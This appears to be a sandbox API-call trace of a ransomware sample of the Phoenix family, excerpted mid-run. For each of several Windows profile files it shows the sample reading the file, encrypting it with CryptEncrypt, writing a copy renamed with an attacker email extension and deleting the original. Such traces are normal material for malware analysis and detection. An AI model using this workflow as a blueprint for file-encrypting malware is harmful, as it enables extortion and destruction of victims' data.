	[0253.009] CryptDestroyKey (hKey=0x151380) returned 1
	[0253.009] CloseHandle (hObject=0x2b0) returned 1
	[0253.010] CloseHandle (hObject=0x2c8) returned 1
	[0253.010] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\group2\\desktop.ini")) returned 1
	[0253.085] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0253.085] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0253.086] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\group3\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0253.086] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151180) returned 1
	[0253.086] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0253.086] ReadFile (in: hFile=0x2fc, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x3ad, lpOverlapped=0x0) returned 1
	[0253.184] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3b0, dwBufLen=0x3b0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3b0) returned 1
	[0253.184] WriteFile (in: hFile=0x2f8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x3b0, lpOverlapped=0x0) returned 1
	[0253.185] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151680) returned 1
	[0253.185] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0253.185] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0253.185] CryptDestroyKey (hKey=0x151680) returned 1
	[0253.185] WriteFile (in: hFile=0x2f8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0253.185] CryptDestroyKey (hKey=0x151180) returned 1
	[0253.185] CloseHandle (hObject=0x2fc) returned 1
	[0253.185] CloseHandle (hObject=0x2f8) returned 1
	[0253.185] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\group3\\desktop.ini")) returned 1
	[0253.449] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0253.449] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.451] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=328) returned 1
	[0253.451] CloseHandle (hObject=0x2c0) returned 1
	[0253.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini")) returned 0x26
	[0253.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.451] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.451] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0253.451] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0253.451] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0253.453] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151440) returned 1
	[0253.453] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0253.453] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x148, lpOverlapped=0x0) returned 1
	[0253.454] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x150, dwBufLen=0x150 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x150) returned 1
	[0253.454] WriteFile (in: hFile=0x2f8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x150, lpOverlapped=0x0) returned 1
	[0253.455] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151280) returned 1
	[0253.455] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0253.455] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0253.455] CryptDestroyKey (hKey=0x151280) returned 1
	[0253.455] WriteFile (in: hFile=0x2f8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0253.456] CryptDestroyKey (hKey=0x151440) returned 1
	[0253.456] CloseHandle (hObject=0x2c0) returned 1
	[0253.456] CloseHandle (hObject=0x2f8) returned 1
	[0253.456] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini")) returned 1
	[0253.457] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0253.457] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0253.457] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=170) returned 1
	[0253.457] CloseHandle (hObject=0x2f8) returned 1
	[0253.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini")) returned 0x26
	[0253.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.458] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0253.458] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0253.458] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0253.458] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.458] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0253.458] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0253.458] ReadFile (in: hFile=0x2f8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xaa, lpOverlapped=0x0) returned 1
	[0253.459] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0253.459] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xb0, lpOverlapped=0x0) returned 1
	[0253.460] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1514c0) returned 1
	[0253.460] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0253.460] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0253.460] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0253.460] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0253.460] CryptDestroyKey (hKey=0x151380) returned 1
	[0253.460] CloseHandle (hObject=0x2f8) returned 1
	[0253.460] CloseHandle (hObject=0x2c0) returned 1
	[0253.460] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini")) returned 1
	[0253.483] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0253.484] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0253.490] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=798) returned 1
	[0253.490] CloseHandle (hObject=0x2d0) returned 1
	[0253.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\desktop.ini")) returned 0x26
	[0253.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.491] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0253.491] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0253.491] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0253.491] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0253.491] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1514c0) returned 1
	[0253.491] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0253.491] ReadFile (in: hFile=0x2d0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x31e, lpOverlapped=0x0) returned 1
	[0253.498] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x320, dwBufLen=0x320 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x320) returned 1
	[0253.498] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x320, lpOverlapped=0x0) returned 1
	[0253.498] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151240) returned 1
	[0253.498] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0253.498] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0253.498] CryptDestroyKey (hKey=0x151240) returned 1
	[0253.499] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0253.499] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0253.499] CloseHandle (hObject=0x2d0) returned 1
	[0253.499] CloseHandle (hObject=0x2c4) returned 1
	[0253.499] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\desktop.ini")) returned 1
	[0253.528] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0253.528] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0253.529] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=218) returned 1
	[0253.529] CloseHandle (hObject=0x2e8) returned 1
	[0253.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\desktop.ini")) returned 0x26
	[0253.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.529] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0253.529] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0253.529] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0253.529] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0253.539] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151240) returned 1
	[0253.539] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0253.539] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xda, lpOverlapped=0x0) returned 1
	[0253.540] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0253.540] WriteFile (in: hFile=0x2e4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0253.543] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151400) returned 1
	[0253.543] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0253.543] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0253.543] CryptDestroyKey (hKey=0x151400) returned 1
	[0253.543] WriteFile (in: hFile=0x2e4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0253.543] CryptDestroyKey (hKey=0x151240) returned 1
	[0253.543] CloseHandle (hObject=0x2e8) returned 1
	[0253.543] CloseHandle (hObject=0x2e4) returned 1
	[0253.543] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\desktop.ini")) returned 1
	[0253.637] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0253.637] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0253.642] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=262144) returned 1
	[0253.642] CloseHandle (hObject=0x2e4) returned 1
	[0253.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat")) returned 0x20
	[0253.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\ntuser.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.643] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0253.643] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0253.643] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0253.643] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\ntuser.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0253.644] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0253.644] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
